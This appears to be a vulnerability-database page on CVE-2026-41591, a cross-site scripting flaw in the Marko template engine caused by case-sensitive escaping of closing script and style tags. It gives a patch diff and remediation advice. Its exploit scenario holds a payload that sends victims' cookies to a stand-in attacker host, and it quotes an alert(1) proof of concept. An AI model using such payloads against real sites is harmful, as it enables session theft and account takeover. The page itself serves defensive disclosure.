Marko CVE-2026-41591
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSupply mixed-case tag payload
-
DeliveryTemplate interpolates into script tag
-
ExploitBrowser parser recognizes </SCRIPT> as valid
-
ExecutionInjected script executes
-
ImpactAttacker exfiltrates session data or performs account takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires two specific conditions: (1) a Marko template that explicitly interpolates user-controlled or otherwise untrusted data directly into a <script> or <style> tag using template syntax (e.g., <script>const data = ${userInput};</script>), and (2) an attacker with the ability to supply input containing mixed-case tag closing sequences (</SCRIPT>, </STYLE>, etc.). The vulnerability does NOT affect Marko's internal hydration scripts or state serialization-only explicit developer interpolation. Non-default configurations, special privileges, or user interaction are not required beyond the ability to supply input to an affected template position. Default Marko configurations using the vulnerable helpers are affected; applications that manually sanitize all user input before template rendering, or that avoid interpolating untrusted data inside script/style tags, are not vulnerable despite running unpatched Marko versions. |
| Impact | CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates network accessibility with low complexity, authenticated access (PR:L), no user interaction, and changed scope-yielding a base score of 6.4 (medium risk). However, real-world risk is substantially elevated by several factors: (1) exploitation requires only low privilege (any authenticated user account), (2) impact is stored XSS when user data persists (usernames, bios, comments), enabling trivial session hijacking and account takeover, and (3) Marko developers following standard patterns have no secondary defense mechanism and likely did not implement additional sanitization. The low-privilege requirement contradicts typical web application threat models where user-supplied content is endemic. This is NOT a high-CVSS-but-low-real-risk scenario; the medium CVSS understates the practical impact of stored XSS in a widely-deployed templating library. Exploitation status: no public exploit or active KEV confirmation detected at time of analysis, but PoC provided in advisory demonstrates trivial exploitation. Patch availability and low barrier to entry create urgency for remediation. |
| Exploit ScenarioDerived | An attacker creates a user account and sets their profile bio to the payload </SCRIPT><script>fetch('https://attacker.com/steal?token='+document.cookie)</script>. When another user views the attacker's profile, the template interpolates the bio inside a <script> tag as const bio = "</SCRIPT><script>fetch(...)</script>";. The browser parser treats </SCRIPT> as a valid closing tag, terminates the original script context, and executes the attacker's injected script in the victim's browser context, exfiltrating their session cookies to the attacker. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 23, 2026
Cross-site scripting in Marko template engine allows authenticated attackers to break out of script and style tags using mixed-case closing tags (e.g., </SCRIPT>, </Style>) and inject arbitrary HTML/JavaScript. The vulnerability affects any Marko template that interpolates untrusted user data inside <script> or <style> blocks, enabling stored XSS attacks against victim browsers with CVSS 6.4 (network-accessible, low complexity, requires low privileges). Vendor-released patch available.
RemediationAI
Upgrade Marko to the patched release containing commit 19d4b37d0, which corrects the case-sensitive regular expressions to case-insensitive variants (/<\/script/gi and /<\/style/gi). Consult https://github.com/marko-js/marko/security/advisories/GHSA-x9fj-57fh-c8wq for exact patched version numbers. As an immediate short-term mitigation on unpatched systems, pre-sanitize untrusted data before template interpolation by normalizing closing tag variants: convert all instances of </script, </style, and their mixed-case forms (</SCRIPT>, </Script>, etc.) to a safe alternative (e.g., replace with escaped entities or remove entirely) before the value reaches template rendering. Alternatively, avoid direct interpolation of untrusted values inside <script> or <style> blocks entirely-serialize data to JSON outside these tags and reference it via global variable assignment, or use Marko's built-in state hydration mechanisms instead of manual interpolation. Each workaround trades convenience for security; the patch is the recommended path.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Marko is a JavaScript template engine that uses built-in helper functions (_escape_script, _escape_style, _escape_comment) to sanitize dynamic content interpolated into <script> and <style> tags. The helpers employed case-sensitive regular expressions (/<\/script/g and /<\/style/g) to detect breakout attempts. However, HTML tag names are case-insensitive per WHATWG specification-browsers accept </SCRIPT>, </Script>, </sTyLe> as valid closing tags. The regexes failed to match mixed-case variants, allowing unsanitized input to pass through. The Marko compiler (native-tag.ts) automatically routes all interpolated values in script/style contexts through these helpers, creating an implicit contract that framework-following code would be protected. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), compounded by case-sensitivity assumptions about HTML parsing.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (https://github.com/marko-js/marko) · only source for this CVE.
CVSS VectorVendor: https://github.com/marko-js/marko
Lifecycle Timeline
2DescriptionCVE.org
Summary
When dynamic text is interpolated into a <script> or <style> tag the Marko runtime failed to prevent tag breakout when the closing tag used non-lowercase casing. An attacker able to place input inside a <script> or <style> block could break out of the tag with </SCRIPT>, </Style>, etc. and inject arbitrary HTML/JavaScript, resulting in cross-site scripting.
Details
The affected helpers used case-sensitive regular expressions to detect attempts at closing the surrounding tag:
// packages/runtime-tags/src/html/content.ts
const unsafeScriptReg = /<\/script/g;
const unsafeStyleReg = /<\/style/g;
// packages/runtime-class/src/runtime/html/helpers/escape-script-placeholder.js
const unsafeCharsReg = /<\/script/g;
// packages/runtime-class/src/runtime/html/helpers/escape-style-placeholder.js
const unsafeCharsReg = /<\/style/g;HTML tag names are case-insensitive in the browser parser, so inputs such as </SCRIPT>, </Script>, or </sTyLe> were not matched by these regexes and passed through the helpers unchanged. A browser rendering the output treats the mixed-case end tag as a valid closing tag, terminating the script or style context, and then parses anything that follows as HTML.
The Marko compiler routes interpolated values inside <script> and <style> tags through these helpers automatically (see native-tag.ts:1080-1085), so application code following the framework's conventions had no way to detect or compensate for the gap.
PoC
$ const userCode = "</SCRIPT><script>alert(1)//";
<script>
const data = ${JSON.stringify(userCode)};
</script>Would yield the following:
<script>const data = "</SCRIPT><script>alert(1)//";</script>Which is then parsed in any WHATWG-compliant browser as:
<script>const data = "</script>
<script>alert(1)//";</script>Impact
Cross-site scripting. Any Marko template that explicitly interpolates untrusted data inside a <script> or <style> block is affected.
Stored XSS is trivial if the value originates from any persisted user input (username, profile bio, comment body, etc.) that is later embedded in a script tag during rendering. Exploitation yields arbitrary JavaScript execution in the victim's browser, enabling session token theft, account takeover, and arbitrary actions as the victim.
Since the internal _escape_script and _escape_style helpers are the framework's designated defense against script/style tag breakout, applications following standard Marko patterns had no obvious reason to add a second layer of sanitization.
This does not affect scripts or hydration state serialized by Marko itself - only templates that explicitly interpolate untrusted values inside a <script> or <style> tag.
Patch
Commit 19d4b37d0 - fix: html script, style, and comment escaping.
- const unsafeScriptReg = /<\/script/g;
+ const unsafeScriptReg = /<\/script/gi;
- const unsafeStyleReg = /<\/style/g;
+ const unsafeStyleReg = /<\/style/gi;The same commit also introduced an _escape_comment helper and corresponding escape-comment-placeholder.js, hardening HTML comment escaping as a related preventative fix. Test fixtures were added under escape-script-case, escape-style-case, and escape-comment.
Workarounds
Upgrade to the patched release. As a short-term mitigation on affected versions, pre-sanitize any untrusted data before it reaches a template position rendered inside a <script> or <style> tag - e.g. normalize </script, </style, and their mixed-case variants before interpolation, or avoid direct interpolation of untrusted values inside these tags entirely.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
GHSA-x9fj-57fh-c8wq
NVD
CVE.org
EPSS
VulDB
Exploit-DB